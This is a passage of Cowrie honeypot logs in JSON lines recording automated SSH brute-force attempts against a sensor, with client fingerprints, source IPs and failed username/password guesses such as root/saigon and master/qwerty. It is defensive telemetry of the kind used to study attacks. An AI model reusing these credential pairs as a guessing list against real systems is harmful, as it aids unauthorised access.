com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:13.547271Z","src_ip":"87.251.79.125","session":"235e69eaa9ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:13.635432Z","src_ip":"45.156.87.147","session":"0928b67f23af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saigon","message":"login attempt [root/saigon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:13.761048Z","src_ip":"87.251.79.125","session":"235e69eaa9ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:14.834248Z","src_ip":"87.251.79.125","session":"235e69eaa9ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58110,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ec2a7da94bd","protocol":"ssh","message":"New connection: 45.156.87.147:58110 (10.17.0.5:22) [session: 6ec2a7da94bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:18.050557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:18.055027Z","src_ip":"45.156.87.147","session":"6ec2a7da94bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:18.137085Z","src_ip":"45.156.87.147","session":"6ec2a7da94bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:18.386350Z","src_ip":"45.156.87.147","session":"6ec2a7da94bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:19.503363Z","src_ip":"45.156.87.147","session":"6ec2a7da94bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59128,"dst_ip":"10.17.0.5","dst_port":22,"session":"20864379edbb","protocol":"ssh","message":"New connection: 45.156.87.147:59128 (10.17.0.5:22) [session: 20864379edbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:24.224678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:24.229114Z","src_ip":"45.156.87.147","session":"20864379edbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:24.309990Z","src_ip":"45.156.87.147","session":"20864379edbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123321","message":"login attempt [ubuntu/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:24.564177Z","src_ip":"45.156.87.147","session":"20864379edbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:25.648645Z","src_ip":"45.156.87.147","session":"20864379edbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37034,"dst_ip":"10.17.0.5","dst_port":22,"session":"2201e114278a","protocol":"ssh","message":"New connection: 45.156.87.147:37034 (10.17.0.5:22) [session: 2201e114278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:30.526561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:30.531809Z","src_ip":"45.156.87.147","session":"2201e114278a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:30.615820Z","src_ip":"45.156.87.147","session":"2201e114278a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:30.867889Z","src_ip":"45.156.87.147","session":"2201e114278a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:31.980844Z","src_ip":"45.156.87.147","session":"2201e114278a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37062,"dst_ip":"10.17.0.5","dst_port":22,"session":"84a296c1d462","protocol":"ssh","message":"New connection: 45.156.87.147:37062 (10.17.0.5:22) [session: 84a296c1d462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:36.799551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:36.803265Z","src_ip":"45.156.87.147","session":"84a296c1d462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:36.885318Z","src_ip":"45.156.87.147","session":"84a296c1d462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:37.136411Z","src_ip":"45.156.87.147","session":"84a296c1d462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:38.220140Z","src_ip":"45.156.87.147","session":"84a296c1d462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":48342,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e89ee7e63c","protocol":"ssh","message":"New connection: 109.237.96.109:48342 (10.17.0.5:22) [session: b7e89ee7e63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:41.046812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:41.050508Z","src_ip":"109.237.96.109","session":"b7e89ee7e63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.16357493400574,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:41.123091Z","src_ip":"128.199.8.54","session":"ced556e3600f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:41.161775Z","src_ip":"109.237.96.109","session":"b7e89ee7e63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1979","message":"login attempt [root/dima1979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:41.444213Z","src_ip":"109.237.96.109","session":"b7e89ee7e63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.334623098373413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:41.722781Z","src_ip":"166.62.124.255","session":"8bd162118361","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:42.539310Z","src_ip":"109.237.96.109","session":"b7e89ee7e63c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54280,"dst_ip":"10.17.0.5","dst_port":22,"session":"40ad849f4748","protocol":"ssh","message":"New connection: 45.156.87.147:54280 (10.17.0.5:22) [session: 40ad849f4748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:43.082339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:43.085703Z","src_ip":"45.156.87.147","session":"40ad849f4748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:43.165440Z","src_ip":"45.156.87.147","session":"40ad849f4748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:43.411730Z","src_ip":"45.156.87.147","session":"40ad849f4748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:44.497596Z","src_ip":"45.156.87.147","session":"40ad849f4748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":47762,"dst_ip":"159.203.135.109","dst_port":22,"session":"424da01b483f","protocol":"ssh","message":"New connection: 103.189.235.114:47762 (159.203.135.109:22) [session: 424da01b483f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:45.814766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:45.818682Z","src_ip":"103.189.235.114","session":"424da01b483f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:46.079174Z","src_ip":"103.189.235.114","session":"424da01b483f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aip","password":"aip123","message":"login attempt [aip/aip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:47.144888Z","src_ip":"103.189.235.114","session":"424da01b483f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:48.406051Z","src_ip":"103.189.235.114","session":"424da01b483f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":39986,"dst_ip":"10.17.0.5","dst_port":22,"session":"2647f813fb14","protocol":"ssh","message":"New connection: 45.156.87.147:39986 (10.17.0.5:22) [session: 2647f813fb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:49.568632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:49.572274Z","src_ip":"45.156.87.147","session":"2647f813fb14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:49.692948Z","src_ip":"45.156.87.147","session":"2647f813fb14","protocol":"ssh"}
